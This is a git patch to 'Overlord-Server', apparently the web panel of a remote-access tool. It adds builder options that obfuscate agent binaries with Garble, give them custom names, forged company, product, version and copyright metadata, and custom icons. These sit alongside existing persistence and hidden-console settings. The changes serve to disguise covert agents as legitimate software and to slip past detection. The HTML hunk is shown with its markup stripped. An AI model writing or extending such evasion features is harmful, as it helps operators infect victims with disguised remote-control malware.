From 7f82737fbc3810589e7ae483195e39c9e1b5fa8d Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 14:09:06 +0100 Subject: [PATCH] Add custom output name, assembly data, icon, and garble settings to builder --- Overlord-Server/public/assets/build.js | 66 +++++++ Overlord-Server/public/build.html | 82 +++++++++ Overlord-Server/src/build/types.ts | 10 + Overlord-Server/src/certGenerator.ts | 8 +- Overlord-Server/src/server/build-process.ts | 172 ++++++++++++++++-- .../src/server/routes/build-routes.ts | 35 ++++ 6 files changed, 351 insertions(+), 22 deletions(-) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 88868dc..b35972a 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -91,6 +91,52 @@ if (persistenceCheckbox && persistenceMethodContainer) { }); } +const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); +const garbleSettingsContainer = document.getElementById("garble-settings-container"); +if (obfuscateCheckbox && garbleSettingsContainer) { + obfuscateCheckbox.addEventListener("change", () => { + if (obfuscateCheckbox.checked) { + garbleSettingsContainer.classList.remove("hidden"); + } else { + garbleSettingsContainer.classList.add("hidden"); + } + }); +} + +let pendingIconBase64 = null; +const iconUpload = document.getElementById("icon-upload"); +const iconLabel = document.getElementById("icon-label"); +const iconClear = document.getElementById("icon-clear"); + +if (iconUpload) { + iconUpload.addEventListener("change", () => { + const file = iconUpload.files[0]; + if (!file) return; + if (file.size > 1024 * 1024) { + alert("Icon file must be under 1MB"); + iconUpload.value = ""; + return; + } + const reader = new FileReader(); + reader.onload = () => { + const base64 = reader.result.split(",")[1]; + pendingIconBase64 = base64; + if (iconLabel) iconLabel.textContent = file.name; + if (iconClear) iconClear.classList.remove("hidden"); + }; + reader.readAsDataURL(file); + }); +} + +if (iconClear) { + iconClear.addEventListener("click", () => { + pendingIconBase64 = null; + if (iconUpload) iconUpload.value = ""; + if (iconLabel) iconLabel.textContent = "Choose .ico file"; + iconClear.classList.add("hidden"); + }); +} + async function init() { try { updateServerUrlPlaceholder(); @@ -215,6 +261,16 @@ form?.addEventListener("submit", async (e) => { 'input[name="no-printing"]', ).checked; + const outputNameVal = form.querySelector("#output-name")?.value.trim() || ""; + const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false; + const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false; + const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || ""; + const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || ""; + const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || ""; + const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || ""; + const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; + const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; + const buildConfig = { platforms, serverUrl: serverUrl || undefined, @@ -228,6 +284,16 @@ form?.addEventListener("submit", async (e) => { persistenceMethod: enablePersistence ? persistenceMethod : undefined, hideConsole, noPrinting, + outputName: outputNameVal || undefined, + garbleLiterals: obfuscate ? garbleLiterals : undefined, + garbleTiny: obfuscate ? garbleTiny : undefined, + garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined, + assemblyTitle: assemblyTitle || undefined, + assemblyProduct: assemblyProduct || undefined, + assemblyCompany: assemblyCompany || undefined, + assemblyVersion: assemblyVersion || undefined, + assemblyCopyright: assemblyCopyright || undefined, + iconBase64: pendingIconBase64 || undefined, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index fa69c49..bc390c6 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -231,6 +231,23 @@

+ +
+ + +

+ Optional: Custom name prefix for output binaries (letters, numbers, . _ - only) +

+
+
+ + + + +
+ +
+ + + + + +
+
+ + +
+ +
+ + +
+
+